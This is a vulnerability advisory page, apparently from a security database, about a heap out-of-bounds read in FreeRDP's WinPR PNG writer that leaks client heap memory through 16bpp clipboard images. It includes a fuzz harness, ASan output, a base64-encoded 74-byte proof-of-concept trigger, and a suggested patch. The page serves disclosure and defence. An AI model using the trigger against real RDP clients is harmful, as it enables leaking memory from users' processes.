Read the docs

Heap out-of-bounds read in FreeRDP WinPR PNG writer leaks memory

Priority LOW 38Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

FreeRDP up to and including 3.32.2 has a heap out-of-bounds read in the WinPR PNG writer when it converts images with 9 to 16 bits per pixel. The PNG encoder reads more bytes per row than the copy loop writes, so the output includes adjacent heap memory. A malicious RDP server can publish a CF_DIB clipboard image with a 9 to 16 bit depth, and when a local application requests image/png, the produced PNG contains client process heap memory.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary `save_png_to_buffer()` (`winpr/libwinpr/utils/image.c`, reached from `winpr_image_write_buffer(WINPR_IMAGE_PNG)`) selects the PNG color type from the source `bpp`, then copies rows with a loop emitting `1 + (bpp>8) + (bpp>16) + (bpp>24)` bytes per pixel, while libpng consumes the pixel count implied by the selected color type. For **9..16 bpp** sources (e.g. 16bpp RGB555/565 `CF_DIB` clipboard data) the mismatch makes libpng read up to `width` bytes past the row buffer on every scanline and **encode those heap bytes into the produced PNG** (information disclosure). Deterministic; **74-byte** minimized input. ### Details The color type is derived from `bpp` (<=8 PALETTE / <=24 RGB / else RGBA) but the copy loop uses `1 + (bpp>8) + (bpp>16) + (bpp>24)` bytes per pixel: | bpp | PNG type | libpng reads | loop writes | consistent | |---|---|---|---|---| | <= 8 | PALETTE | width*1 | width*1 | yes | | **9..16** | **RGB** | **width*3** | **width*2** | **NO - OOB read** | | 17..24 | RGB | width*3 | width*3 | yes | | >= 25 | RGBA | width*4 | width*4 | yes | The `bpp > 16 -> RGB` line duplicates `bpp > 8` and hides the gap. The per-row buffer is allocated with `stride` bytes (`width*2` for 16bpp) while `png_write_row` consumes `png_get_rowbytes()` = `width*3`, so every scanline reads `width` bytes of adjacent heap and encodes them as pixel data. **Reachability.** `clipboard_synthesize_image_dib_to_format()` (`winpr/libwinpr/clipboard/synthetic.c`) converts incoming `CF_DIB`/`CF_DIBV5` clipboard data to `image/png` via `winpr_image_read_buffer()` -> `winpr_image_write_buffer(PNG)`. A malicious RDP server publishes a `CF_DIB` with `biBitCount` in 9..16; when a local application requests `image/png` (e.g. paste), the produced PNG contains client-process heap memory. **Affected versions.** Verified in master @ `87baff6c` and in **3.32.1** (`save_png_to_buffer()` byte-identical, verified by extraction + diff). Affects builds with `WINPR_UTILS_IMAGE_PNG` - enabled by the official packaging (`packaging/deb/freerdp-nightly/cmake-preload.cmake:28`, `packaging/flatpak/com.freerdp.FreeRDP.json:76`). No patched version. **Distinction from recent advisories.** GHSA-f3vg / VU#153899 / VU#153900 covered the PNG -> CF_DIB read direction (fixed in 3.32.1); this is the reverse direction (CF_DIB(16bpp) -> PNG) in the writer, which those fixes did not touch. Found by our `FuzzImage` harness at 95,559 executions. ### Proof of concept Build the upstream tree with clang + ASan and the inline harness (same one as our companion report; the tree has no image fuzz target). Trigger: the input below is a 2x5 16bpp BMP. Observed (unpatched): ``` $ ./FuzzImage writer-oob.min.bin ERROR: AddressSanitizer: heap-buffer-overflow / READ of size 6 (0 bytes after 4-byte region) #0 memcpy #1 png_write_row / #2 png_write_png #3 save_png_to_buffer image.c:1155 #4 winpr_convert_to_png image.c:1298 #5 winpr_image_write_buffer image.c:1590 region allocated by png_malloc <- winpr_convert_to_png ``` **Reproduction harness (`poc/fuzz/FuzzImage.c`, inline):** ```c /* * libFuzzer harness for WinPR's image parser/writer (winpr_image). * * This is the path that consumes untrusted image data from a remote peer: * clipboard formats (image/png, image/jpeg, image/bmp, CF_DIB) are read via * winpr_image_read_buffer() and re-encoded via winpr_image_write_buffer() * (see winpr/libwinpr/clipboard/synthetic.c). GHSA-f3vg (PNG->CF_DIB OOB read) * lived on exactly this chain; the upstream tree has no dedicated image fuzzer. * * Input: raw image bytes (BMP/PNG/JPEG/WebP - format sniffed by the reader). */ #include <winpr/crt.h> #include <winpr/image.h> #include <stdlib.h> #include <string.h> int LLVMFuzzerTestOneInput(const uint8_t* Data, size_t Size) { if ((Size < 1) || (Size > (1u << 24))) return 0; wImage* img = winpr_image_new(); if (!img) return 0; const int rc = winpr_image_read_buffer(img, Data, Size); if (rc > 0) { const UINT32 formats[] = { WINPR_IMAGE_BITMAP, #if defined(WINPR_UTILS_IMAGE_PNG) WINPR_IMAGE_PNG, #endif #if defined(WINPR_UTILS_IMAGE_JPEG) WINPR_IMAGE_JPEG, #endif #if defined(WINPR_UTILS_IMAGE_WEBP) WINPR_IMAGE_WEBP, #endif }; for (size_t i = 0; i < ARRAYSIZE(formats); i++) { size_t osize = 0; void* out = winpr_image_write_buffer(img, formats[i], &osize); free(out); } } winpr_image_free(img, TRUE); return 0; } ``` **Reproduction input (base64, decode: `echo <b64> | base64 -d > writer-oob.min.bin`):** ``` # writer-oob.min.bin (74 bytes - 2x5 16bpp BMP) Qk1EAAAAAAAAADYAAAAoAAAAAgAAAAUAAAABABAAAAAAAAAAAAAAAP8AAAD/AAAA////AAAAAAAAAAAA/wD///8AAAD///8AAAA= ``` **Suggested fix (validated locally) - `0007-winpr-png-writer-oob-read.patch`:** ```diff --- a/winpr/libwinpr/utils/image.c +++ b/winpr/libwinpr/utils/image.c @@ -1137,6 +1137,20 @@ if (bpp > 24) colorType = PNG_COLOR_TYPE_RGBA; + const UINT32 pngChannels = (bpp > 24) ? 4 : ((bpp > 8) ? 3 : 1); + const UINT32 srcBytesPerPixel = (bpp + 7) / 8; + /* The row copy below emits exactly srcBytesPerPixel bytes per pixel; reject + * inputs where that does not match the PNG channel count (e.g. 16bpp + * sources), otherwise libpng reads past the (narrower) row buffer. */ + if ((srcBytesPerPixel != pngChannels) || (1ull * width * srcBytesPerPixel > stride)) + { + WLog_ERR(TAG, + "unsupported conversion to PNG: bpp=%" PRIu32 ", stride=%" PRIu32 + ", min expected stride=%" PRIuz, + bpp, stride, 1ull * width * srcBytesPerPixel); + goto fail; + } + png_set_IHDR(png_ptr, info_ptr, width, height, 8, colorType, PNG_INTERLACE_NONE, PNG_COMPRESSION_TYPE_DEFAULT, PNG_FILTER_TYPE_DEFAULT); @@ -1145,7 +1159,7 @@ for (size_t y = 0; y < height; ++y) { const uint8_t* line = &data[y * stride]; - uint8_t* row = png_malloc(png_ptr, sizeof(uint8_t) * stride); + uint8_t* row = png_malloc(png_ptr, sizeof(uint8_t) * width * pngChannels); row_pointers[y] = (png_byte*)row; for (size_t x = 0; x < width; ++x) { ``` With the fix the repro fails gracefully; 8/24/32bpp inputs still convert normally. ### Impact **Heap information disclosure.** Heap bytes from the client process are delivered to the local receiving application inside the converted PNG - the same impact class as GHSA-f3vg ("disclosed memory is delivered to the local receiving application"): whatever the application does with the PNG (display, save, forward) carries the leaked memory. Contents depend on allocator state (adjacent clipboard/image buffers). No memory corruption; confidentiality impact. Class: CWE-125 (out-of-bounds read). Severity: moderate - we defer the final rating to you.

Why it matters now

Fix Fixed FreeRDP (c): 3.33.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.23.33.0Patch availableGHSA-4g67-jhpc-q5xp
  • FreeRDP (c) Vendor— Affected <= 3.32.2 Fixed in 3.33.0 Patch available GHSA-4g67-jhpc-q5xp

Remediation

Update FreeRDP to version 3.33.0, the fixed version listed for this flaw.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-4g67-jhpc-q5xp FreeRDP (c) Fixed in 3.33.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-4g67-jhpc-q5xp

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences